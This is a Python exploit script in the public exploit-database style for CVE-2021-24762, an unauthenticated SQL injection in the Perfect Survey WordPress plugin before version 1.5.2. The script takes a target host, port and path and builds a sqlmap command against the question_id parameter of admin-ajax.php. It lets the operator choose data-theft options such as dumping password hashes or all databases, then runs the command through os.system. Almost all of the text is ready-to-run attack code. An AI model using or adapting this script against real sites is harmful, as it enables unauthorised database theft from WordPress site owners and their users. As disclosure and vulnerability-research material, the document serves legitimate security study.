# Exploit Title: WordPress Plugin Perfect Survey - 1.5.1 - SQLi (Unauthenticated) # Date 18.02.2022 # Exploit Author: Ron Jost (Hacker5preme) # Vendor Homepage: https://www.getperfectsurvey.com/ # Software Link: https://web.archive.org/web/20210817031040/https://downloads.wordpress.org/plugin/perfect-survey.1.5.1.zip # Version: < 1.5.2 # Tested on: Ubuntu 20.04 # CVE: CVE-2021-24762 # CWE: CWE-89 # Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24762/README.md ''' Description: The Perfect Survey WordPress plugin before 1.5.2 does not validate and escape the question_id GET parameter before using it in a SQL statement in the get_question AJAX action, allowing unauthenticated users to perform SQL injection. ''' banner = ''' ____ _______ ____ ____ ____ ___ ______________________ _(___)_ (_) (_)(______)_(____) (____)_(____) (___)_(____)(_)(_)(_______)(_____) _(____) (_) (_)(_) (_)(_)________(_) _(_)(_)(_)(_) _(_)(_)(_) ______(_) _(_)(_)__(_)_ _(_)(_)___(_) _(_) (_)_ (_) (_)(____)(______) _(_)(_)(_)_(_) (_)(______) _(_)(________)_(_)(_____)__(_) (_)___(_) (_)_(_) (_)____ (_)___ (_)__(_) (_)___(_)(_)___(_) (_)(_)___(_)(_)___ (___)(___)(______) (______) (____) (______) (_) (______) (_)(_)(_____)(______) [+] Perfect Survey - SQL Injection [@] Developed by Ron Jost (Hacker5preme) ''' print(banner) import argparse from datetime import datetime import os # User-Input: my_parser = argparse.ArgumentParser(description= 'Perfect Survey - SQL-Injection (unauthenticated)') my_parser.add_argument('-T', '--IP', type=str) my_parser.add_argument('-P', '--PORT', type=str) my_parser.add_argument('-U', '--PATH', type=str) args = my_parser.parse_args() target_ip = args.IP target_port = args.PORT wp_path = args.PATH print('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S'))) print('[*] Payload for SQL-Injection:') exploitcode_url = r'sqlmap "http://' + target_ip + ':' + target_port + wp_path + r'wp-admin/admin-ajax.php?action=get_question&question_id=1 *" ' print('Sqlmap options:') print(' -a, --all Retrieve everything') print(' -b, --bannerRetrieve DBMS banner') print(' --current-userRetrieve DBMS current user') print(' --current-dbRetrieve DBMS current database') print(' --passwords Enumerate DBMS users password hashes') print(' --tablesEnumerate DBMS database tables') print(' --columns Enumerate DBMS database table column') print(' --schemaEnumerate DBMS schema') print(' --dumpDump DBMS database table entries') print(' --dump-allDump all DBMS databases tables entries') retrieve_mode = input('Which sqlmap option should be used to retrieve your information? ') exploitcode = exploitcode_url +retrieve_mode + ' --answers="follow=Y" --batch -v 0' os.system(exploitcode) print('Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S')))
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